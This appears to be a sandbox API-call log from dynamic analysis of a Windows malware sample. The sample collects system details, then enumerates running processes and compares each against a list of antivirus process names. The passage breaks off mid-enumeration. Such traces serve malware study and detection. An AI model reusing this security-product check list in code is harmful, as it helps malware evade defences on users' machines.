(pSid=0x220f708*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x220f710 [0259.502] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0259.502] CloseHandle (hObject=0x2a8) returned 1 [0259.502] GetVersionExA (in: lpVersionInformation=0x4108e0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x4108e0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.502] GetModuleHandleA (lpModuleName="kernel32") returned 0x74560000 [0259.502] GetProcAddress (hModule=0x74560000, lpProcName="IsWow64Process") returned 0x74575a20 [0259.502] GetCurrentProcess () returned 0xffffffff [0259.502] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19ff48 | out: Wow64Process=0x19ff48) returned 1 [0259.502] GetWindowsDirectoryW (in: lpBuffer=0x411b1c, uSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0259.502] GetEnvironmentVariableW (in: lpName="SystemRoot", lpBuffer=0x19fce4, nSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0259.502] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x411f30, nSize=0x209 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0259.502] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x411d26, nSize=0x20a | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22 [0259.503] GetEnvironmentVariableA (in: lpName="SystemDrive", lpBuffer=0x19fef0, nSize=0x3f | out: lpBuffer="C:") returned 0x2 [0259.503] GetComputerNameW (in: lpBuffer=0x41249c, nSize=0x19ff48 | out: lpBuffer="NQDPDE", nSize=0x19ff48) returned 1 [0259.503] lstrlenA (lpString="tqiffy725810") returned 12 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.503] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] lstrlenA (lpString="user32.dll") returned 10 [0259.504] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f700 [0259.504] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x4) returned 0x220f718 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f728 [0259.505] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0259.505] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x26) returned 0x220f740 [0259.505] lstrlenA (lpString="avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe") returned 37 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f700 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f770 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f788 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f7a0 [0259.505] lstrlenA (lpString="avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe") returned 37 [0259.505] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f740 | out: hHeap=0x2190000) returned 1 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f740 [0259.505] lstrlenA (lpString="MsMpEng.exe") returned 11 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x4) returned 0x220f758 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f7b8 [0259.505] lstrlenA (lpString="MsMpEng.exe") returned 11 [0259.505] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f740 | out: hHeap=0x2190000) returned 1 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f740 [0259.505] lstrlenA (lpString="mcshield.exe") returned 12 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x4) returned 0x220f7d0 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f7e0 [0259.505] lstrlenA (lpString="mcshield.exe") returned 12 [0259.505] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f740 | out: hHeap=0x2190000) returned 1 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x14) returned 0x220f7f8 [0259.505] lstrlenA (lpString="avp.exe;kavtray.exe") returned 19 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x8) returned 0x220f740 [0259.505] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x8) returned 0x220f818 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f828 [0259.506] lstrlenA (lpString="avp.exe;kavtray.exe") returned 19 [0259.506] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f7f8 | out: hHeap=0x2190000) returned 1 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x12) returned 0x220f7f8 [0259.506] lstrlenA (lpString="egui.exe;ekrn.exe") returned 17 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x8) returned 0x220f840 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x9) returned 0x220f850 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x9) returned 0x220f868 [0259.506] lstrlenA (lpString="egui.exe;ekrn.exe") returned 17 [0259.506] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f7f8 | out: hHeap=0x2190000) returned 1 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x25) returned 0x220f880 [0259.506] lstrlenA (lpString="bdagent.exe;vsserv.exe;vsservppl.exe") returned 36 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f7f8 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f8b0 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xb) returned 0x220f8c8 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220f8e0 [0259.506] lstrlenA (lpString="bdagent.exe;vsserv.exe;vsservppl.exe") returned 36 [0259.506] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f880 | out: hHeap=0x2190000) returned 1 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f880 [0259.506] lstrlenA (lpString="AvastSvc.exe") returned 12 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x4) returned 0x220f898 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f8f8 [0259.506] lstrlenA (lpString="AvastSvc.exe") returned 12 [0259.506] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f880 | out: hHeap=0x2190000) returned 1 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x2f) returned 0x220f910 [0259.506] lstrlenA (lpString="coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe") returned 46 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f880 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x15) returned 0x220f948 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f968 [0259.506] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f980 [0259.508] lstrlenA (lpString="coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe") returned 46 [0259.508] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f910 | out: hHeap=0x2190000) returned 1 [0259.508] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x23) returned 0x220f910 [0259.508] lstrlenA (lpString="SAVAdminService.exe;SavService.exe") returned 34 [0259.508] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x8) returned 0x220f998 [0259.508] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x14) returned 0x220f9a8 [0259.508] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220fa80 [0259.508] lstrlenA (lpString="SAVAdminService.exe;SavService.exe") returned 34 [0259.508] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f910 | out: hHeap=0x2190000) returned 1 [0259.508] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220fa68 [0259.508] lstrlenA (lpString="fshoster32.exe") returned 14 [0259.508] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x4) returned 0x220ffd0 [0259.508] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220fba0 [0259.508] lstrlenA (lpString="fshoster32.exe") returned 14 [0259.508] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fa68 | out: hHeap=0x2190000) returned 1 [0259.508] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x9) returned 0x220f9f0 [0259.508] lstrlenA (lpString="WRSA.exe") returned 8 [0259.508] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x4) returned 0x220f910 [0259.508] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x9) returned 0x220fa68 [0259.509] lstrlenA (lpString="WRSA.exe") returned 8 [0259.509] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f9f0 | out: hHeap=0x2190000) returned 1 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x22) returned 0x2196b18 [0259.509] lstrlenA (lpString="vkise.exe;isesrv.exe;cmdagent.exe") returned 33 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220fab0 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xa) returned 0x220fb88 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xb) returned 0x220fa98 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220fac8 [0259.509] lstrlenA (lpString="vkise.exe;isesrv.exe;cmdagent.exe") returned 33 [0259.509] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x2196b18 | out: hHeap=0x2190000) returned 1 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220fae0 [0259.509] lstrlenA (lpString="ByteFence.exe") returned 13 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x4) returned 0x220f920 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220fb28 [0259.509] lstrlenA (lpString="ByteFence.exe") returned 13 [0259.509] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fae0 | out: hHeap=0x2190000) returned 1 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x1c) returned 0x2196b18 [0259.509] lstrlenA (lpString="MBAMService.exe;mbamgui.exe") returned 27 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x8) returned 0x220f930 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x10) returned 0x220fb40 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f9f0 [0259.509] lstrlenA (lpString="MBAMService.exe;mbamgui.exe") returned 27 [0259.509] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x2196b18 | out: hHeap=0x2190000) returned 1 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x9) returned 0x220fb58 [0259.509] lstrlenA (lpString="fmon.exe") returned 8 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x4) returned 0x2196b18 [0259.509] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x9) returned 0x220fa08 [0259.509] lstrlenA (lpString="fmon.exe") returned 8 [0259.509] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fb58 | out: hHeap=0x2190000) returned 1 [0259.510] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a8 [0259.520] Process32First (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.520] lstrcmpiA (lpString1="[System Process]", lpString2="ccSvcHst.exe") returned -1 [0259.520] lstrcmpiA (lpString1="[System Process]", lpString2="avgcsrvx.exe") returned -1 [0259.520] lstrcmpiA (lpString1="[System Process]", lpString2="avgsvcx.exe") returned -1 [0259.520] lstrcmpiA (lpString1="[System Process]", lpString2="avgcsrva.exe") returned -1 [0259.520] lstrcmpiA (lpString1="[System Process]", lpString2="MsMpEng.exe") returned -1 [0259.520] lstrcmpiA (lpString1="[System Process]", lpString2="mcshield.exe") returned -1 [0259.520] lstrcmpiA (lpString1="[System Process]", lpString2="avp.exe") returned -1 [0259.520] lstrcmpiA (lpString1="[System Process]", lpString2="kavtray.exe") returned -1 [0259.520] lstrcmpiA (lpString1="[System Process]", lpString2="egui.exe") returned -1 [0259.520] lstrcmpiA (lpString1="[System Process]", lpString2="ekrn.exe") returned -1 [0259.520] lstrcmpiA (lpString1="[System Process]", lpString2="bdagent.exe") returned -1 [0259.520] lstrcmpiA (lpString1="[System Process]", lpString2="vsserv.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="vsservppl.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="AvastSvc.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="coreServiceShell.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="PccNTMon.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="NTRTScan.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="SAVAdminService.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="SavService.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="fshoster32.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="WRSA.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="vkise.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="isesrv.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="cmdagent.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="ByteFence.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="MBAMService.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="mbamgui.exe") returned -1 [0259.521] lstrcmpiA (lpString1="[System Process]", lpString2="fmon.exe") returned -1 [0259.521] Sleep (dwMilliseconds=0xa) [0259.538] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.539] lstrcmpiA (lpString1="System", lpString2="ccSvcHst.exe") returned 1 [0259.539] lstrcmpiA (lpString1="System", lpString2="avgcsrvx.exe") returned 1 [0259.539] lstrcmpiA (lpString1="System", lpString2="avgsvcx.exe") returned 1 [0259.539] lstrcmpiA (lpString1="System", lpString2="avgcsrva.exe") returned 1 [0259.539] lstrcmpiA (lpString1="System", lpString2="MsMpEng.exe") returned 1 [0259.539] lstrcmpiA (lpString1="System", lpString2="mcshield.exe") returned 1 [0259.539] lstrcmpiA (lpString1="System", lpString2="avp.exe") returned 1 [0259.539] lstrcmpiA (lpString1="System", lpString2="kavtray.exe") returned 1 [0259.539] lstrcmpiA (lpString1="System", lpString2="egui.exe") returned 1 [0259.539] lstrcmpiA (lpString1="System", lpString2="ekrn.exe") returned 1 [0259.539] lstrcmpiA (lpString1="System", lpString2="bdagent.exe") returned 1 [0259.539] lstrcmpiA (lpString1="System", lpString2="vsserv.exe") returned -1 [0259.539] lstrcmpiA (lpString1="System", lpString2="vsservppl.exe") returned -1 [0259.540] lstrcmpiA (lpString1="System", lpString2="AvastSvc.exe") returned 1 [0259.540] lstrcmpiA (lpString1="System", lpString2="coreServiceShell.exe") returned 1 [0259.540] lstrcmpiA (lpString1="System", lpString2="PccNTMon.exe") returned 1 [0259.540] lstrcmpiA (lpString1="System", lpString2="NTRTScan.exe") returned 1 [0259.540] lstrcmpiA (lpString1="System", lpString2="SAVAdminService.exe") returned 1 [0259.540] lstrcmpiA (lpString1="System", lpString2="SavService.exe") returned 1 [0259.540] lstrcmpiA (lpString1="System", lpString2="fshoster32.exe") returned 1 [0259.540] lstrcmpiA (lpString1="System", lpString2="WRSA.exe") returned -1 [0259.540] lstrcmpiA (lpString1="System", lpString2="vkise.exe") returned -1 [0259.540] lstrcmpiA (lpString1="System", lpString2="isesrv.exe") returned 1 [0259.540] lstrcmpiA (lpString1="System", lpString2="cmdagent.exe") returned 1 [0259.540] lstrcmpiA (lpString1="System", lpString2="ByteFence.exe") returned 1 [0259.540] lstrcmpiA (lpString1="System", lpString2="MBAMService.exe") returned 1 [0259.540] lstrcmpiA (lpString1="System", lpString2="mbamgui.exe") returned 1 [0259.540] lstrcmpiA (lpString1="System", lpString2="fmon.exe") returned 1 [0259.540] Sleep (dwMilliseconds=0xa) [0259.554] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="ccSvcHst.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="avgcsrvx.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="avgsvcx.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="avgcsrva.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="MsMpEng.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="mcshield.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="avp.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="kavtray.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="egui.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="ekrn.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="bdagent.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="vsserv.exe") returned -1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="vsservppl.exe") returned -1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="AvastSvc.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="coreServiceShell.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="PccNTMon.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="NTRTScan.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="SAVAdminService.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="SavService.exe") returned 1 [0259.555] lstrcmpiA (lpString1="smss.exe", lpString2="fshoster32.exe") returned 1 [0259.556] lstrcmpiA (lpString1="smss.exe", lpString2="WRSA.exe") returned -1 [0259.556] lstrcmpiA (lpString1="smss.exe", lpString2="vkise.exe") returned -1 [0259.556] lstrcmpiA (lpString1="smss.exe", lpString2="isesrv.exe") returned 1 [0259.556] lstrcmpiA (lpString1="smss.exe", lpString2="cmdagent.exe") returned 1 [0259.556] lstrcmpiA (lpString1="smss.exe", lpString2="ByteFence.exe") returned 1 [0259.556] lstrcmpiA (lpString1="smss.exe", lpString2="MBAMService.exe") returned 1 [0259.556] lstrcmpiA (lpString1="smss.exe", lpString2="mbamgui.exe") returned 1 [0259.556] lstrcmpiA (lpString1="smss.exe", lpString2="fmon.exe") returned 1 [0259.556] Sleep (dwMilliseconds=0xa) [0259.570] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="ccSvcHst.exe") returned 1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrvx.exe") returned 1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="avgsvcx.exe") returned 1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrva.exe") returned 1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="MsMpEng.exe") returned -1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="mcshield.exe") returned -1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="avp.exe") returned 1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="kavtray.exe") returned -1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="egui.exe") returned -1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="ekrn.exe") returned -1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="bdagent.exe") returned 1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="vsserv.exe") returned -1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="vsservppl.exe") returned -1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="AvastSvc.exe") returned 1 [0259.571] lstrcmpiA (lpString1="csrss.exe", lpString2="coreServiceShell.exe") returned 1 [0259.572] lstrcmpiA (lpString1="csrss.exe", lpString2="PccNTMon.exe") returned -1 [0259.572] lstrcmpiA (lpString1="csrss.exe", lpString2="NTRTScan.exe") returned -1 [0259.572] lstrcmpiA (lpString1="csrss.exe", lpString2="SAVAdminService.exe") returned -1 [0259.572] lstrcmpiA (lpString1="csrss.exe", lpString2="SavService.exe") returned -1 [0259.572] lstrcmpiA (lpString1="csrss.exe", lpString2="fshoster32.exe") returned -1 [0259.572] lstrcmpiA (lpString1="csrss.exe", lpString2="WRSA.exe") returned -1 [0259.572] lstrcmpiA (lpString1="csrss.exe", lpString2="vkise.exe") returned -1 [0259.572] lstrcmpiA (lpString1="csrss.exe", lpString2="isesrv.exe") returned -1 [0259.572] lstrcmpiA (lpString1="csrss.exe", lpString2="cmdagent.exe") returned 1 [0259.572] lstrcmpiA (lpString1="csrss.exe", lpString2="ByteFence.exe") returned 1 [0259.572] lstrcmpiA (lpString1="csrss.exe", lpString2="MBAMService.exe") returned -1 [0259.572] lstrcmpiA (lpString1="csrss.exe", lpString2="mbamgui.exe") returned -1 [0259.572] lstrcmpiA (lpString1="csrss.exe", lpString2="fmon.exe") returned -1 [0259.572] Sleep (dwMilliseconds=0xa) [0259.586] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="ccSvcHst.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="avgcsrvx.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="avgsvcx.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="avgcsrva.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="MsMpEng.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="mcshield.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="avp.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="kavtray.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="egui.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="ekrn.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="bdagent.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="vsserv.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="vsservppl.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="AvastSvc.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="coreServiceShell.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="PccNTMon.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="NTRTScan.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="SAVAdminService.exe") returned 1 